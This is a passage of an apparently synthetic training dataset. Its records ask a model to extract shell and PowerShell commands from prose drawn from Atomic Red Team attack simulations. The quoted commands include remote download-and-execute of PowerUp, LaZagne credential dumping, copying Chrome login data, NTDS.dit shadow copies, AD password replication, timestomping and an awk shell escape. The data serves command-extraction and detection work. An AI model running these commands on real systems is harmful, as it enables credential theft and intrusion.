-OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To execute a remote compiled HTML Help payload, use the following command, which may display an error about the file not being able to open: hh.exe #{remote_chm_file}; The CHM file can be executed with the default Shortcut Command method via this command: Invoke-ATHCompiledHelp -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}", "output": "{\"command_list\": [\"hh.exe #{remote_chm_file}\\n\", \"Invoke-ATHCompiledHelp -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To run LaZagne for retrieving all saved passwords, use the following command: python2 laZagne.py all; The credentials can be extracted by executing: grep -ri password #{file_path}\nexit 0", "output": "{\"command_list\": [\"python2 laZagne.py all\\n\", \"grep -ri password #{file_path}\\nexit 0\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This technique, employed by Stitch RAT, modifies a file's creation date via the command: Get-ChildItem \"#{file_path}\" | % { $_.CreationTime = \"#{target_date_time}\" }\nSuccessful execution can be confirmed by viewing the file's Properties in File Explorer and noting the Created time is set to 1970.; For modifying a file's last write time to appear as 1970 (a method used by Stitch RAT), execute the command: Get-ChildItem \"#{file_path}\" | % { $_.LastWriteTime = \"#{target_date_time}\" }", "output": "{\"command_list\": [\"Get-ChildItem \\\"#{file_path}\\\" | % { $_.CreationTime = \\\"#{target_date_time}\\\" }\\n\", \"Get-ChildItem \\\"#{file_path}\\\" | % { $_.LastWriteTime = \\\"#{target_date_time}\\\" }\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To compile JavaScript code from scriptfile.js into scriptfile.exe using jsc.exe, follow these steps with the command: copy \"#{filename}\" %TEMP%\\hello.js\n#{jscpath}\\#{jscname} %TEMP%\\hello.js\n; The process involves copying the JavaScript file to a temporary directory and then compiling it with jsc.exe using this command sequence:\ncopy \"#{filename}\" %TEMP%\\LibHello.js\n#{jscpath}\\#{jscname} /t:library %TEMP%\\LibHello.js\n", "output": "{\"command_list\": [\"copy \\\"#{filename}\\\" %TEMP%\\\\hello.js\\n#{jscpath}\\\\#{jscname} %TEMP%\\\\hello.js\\n\", \"copy \\\"#{filename}\\\" %TEMP%\\\\LibHello.js\\n#{jscpath}\\\\#{jscname} /t:library %TEMP%\\\\LibHello.js\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This Atomic test leverages LaZagne, an open-source tool for retrieving stored passwords, with the command: \"#{lazagne_path}\" browsers; This technique involves copying Chrome's login data files to simulate credential theft, executed via the command:\nCopy-Item \"$env:LOCALAPPDATA\\Google\\Chrome\\User Data\\Default\\Login Data\" -Destination \"PathToAtomicsFolder\\..\\ExternalPayloads\"\nCopy-Item \"$env:LOCALAPPDATA\\Google\\Chrome\\User Data\\Default\\Login Data For Account\" -Destination \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n", "output": "{\"command_list\": [\"\\\"#{lazagne_path}\\\" browsers\\n\", \"Copy-Item \\\"$env:LOCALAPPDATA\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Login Data\\\" -Destination \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\"\\nCopy-Item \\\"$env:LOCALAPPDATA\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Login Data For Account\\\" -Destination \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For adding a hidden Calculator launch entry to the loginwindow plist (with macOS version-dependent results), run the following multi-step command:\nFILE=`find ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist -type f | head -1`\nif [ -z \"${FILE}\" ] ; then echo \"No loginwindow plist file found\" && exit 1 ; fi\necho save backup copy to /tmp/\ncp ${FILE} /tmp/t1547007_loginwindow-backup.plist\necho before\nplutil -p ${FILE}\necho overwriting...\n#{exe_path} ${FILE} && echo after && plutil -p ${FILE}\n; When running this test on a domain controller, you can dump the Active Directory database NTDS.dit by creating a Volume Shadow Copy using the following command:\nvssadmin.exe create shadow /for=#{drive_letter}\n", "output": "{\"command_list\": [\"FILE=`find ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist -type f | head -1`\\nif [ -z \\\"${FILE}\\\" ] ; then echo \\\"No loginwindow plist file found\\\" && exit 1 ; fi\\necho save backup copy to /tmp/\\ncp ${FILE} /tmp/t1547007_loginwindow-backup.plist\\necho before\\nplutil -p ${FILE}\\necho overwriting...\\n#{exe_path} ${FILE} && echo after && plutil -p ${FILE}\\n\", \"vssadmin.exe create shadow /for=#{drive_letter}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The process involves creating a copy of macOS mail data and inserting manipulated content with these commands: \nmkdir ~/Library/Mail/copy\ncp -R ~/Library/Mail/* ~/Library/Mail/copy\necho \"Manipulated data\" > ~/Library/Mail/copy/manipulated.txt\n; To retrieve Active Directory passwords remotely, execute the following command: Get-ADReplAccount -All -Server #{logonserver}", "output": "{\"command_list\": [\"mkdir ~/Library/Mail/copy\\ncp -R ~/Library/Mail/* ~/Library/Mail/copy\\necho \\\"Manipulated data\\\" > ~/Library/Mail/copy/manipulated.txt\\n\", \"Get-ADReplAccount -All -Server #{logonserver}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To gather kernel information for targeted attacks, an adversary can use the following command: uname -srm; In awk, the BEGIN rule executes before processing any input records, allowing you to create a shell with the following command: awk 'BEGIN {system(\"/bin/sh &\")}'.", "output": "{\"command_list\": [\"uname -srm\\n\", \"awk 'BEGIN {system(\\\"/bin/sh &\\\")}'\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, 